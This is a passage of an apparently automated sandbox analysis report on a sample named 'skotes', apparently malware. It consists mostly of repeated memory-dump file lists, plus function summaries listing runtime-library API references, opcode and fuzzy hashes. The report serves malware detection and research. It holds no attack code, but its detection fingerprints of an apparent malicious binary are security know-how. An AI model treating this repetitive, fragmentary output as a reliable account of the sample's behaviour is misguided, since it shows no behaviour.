Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: cc16af7eb9d0fa04ccdc84245cabf3b06c9c53c4d74d6d31fce58b98fc4989e1
Instruction ID: da876fa768d00bc6fa99edc5ce53a5010b4b13544d89eafeb6d2a357f34dca42
Opcode Fuzzy Hash: cc16af7eb9d0fa04ccdc84245cabf3b06c9c53c4d74d6d31fce58b98fc4989e1
Instruction Fuzzy Hash: F1016870B9A31969F720B7B69D15FFB31CC5F8230DF211828B681E2182EFB5E4808761

Function 00916E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00916E73

Part of subcall function 00914E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00914E7F
Part of subcall function 00914E6E: List.LIBCMT ref: 00914E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00916E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00916EAA

Strings

eventObject, xrefs: 00916E7D

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 98083e4d19b6bfd0a96a00421217ad20e627ea9316b6ac390d24e7f10db8543d
Instruction ID: 1891e4e30b0b8c03541dc4ed114d67ea7715a847015e1a3e0bf6e2bf49c5da46
Opcode Fuzzy Hash: 98083e4d19b6bfd0a96a00421217ad20e627ea9316b6ac390d24e7f10db8543d
Instruction Fuzzy Hash: AF110876A4131CE6DB24EBA4CD46FEF73BC6F40318F204615F615E60C1EB74AA44C6A5

Function 0091A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0091A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0091A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0091A139

Strings

pScheduler, xrefs: 0091A131

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 761ed4a58c9aa2dd1fd0622f6853e2949f475a97bda235a6666941e0ba94b41d
Instruction ID: 0577ade5545baaff86fe18e1071ad3e4de7ded9d3ebebdcd600a8d23ff3bf26d
Opcode Fuzzy Hash: 761ed4a58c9aa2dd1fd0622f6853e2949f475a97bda235a6666941e0ba94b41d
Instruction Fuzzy Hash: 8EF0E936B0520CF7C721FB54DC82DEEB37D9ED0724B108129E406571C1DB70AE85C692

Function 0092CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0092CC66

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: d16a4cb6a2d0b0dcdc57006261b4164f1495c400c5e331ca55dc48e39ed1d842
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 81B17AB2D002659FDB15CF28E8817BEBBF9EF45340F15456AE854EB38AD6349D01CBA0

Function 009367A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00936902
__alloca_probe_16.LIBCMT ref: 00936998
__freea.LIBCMT ref: 00936A03
__freea.LIBCMT ref: 00936A0F

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
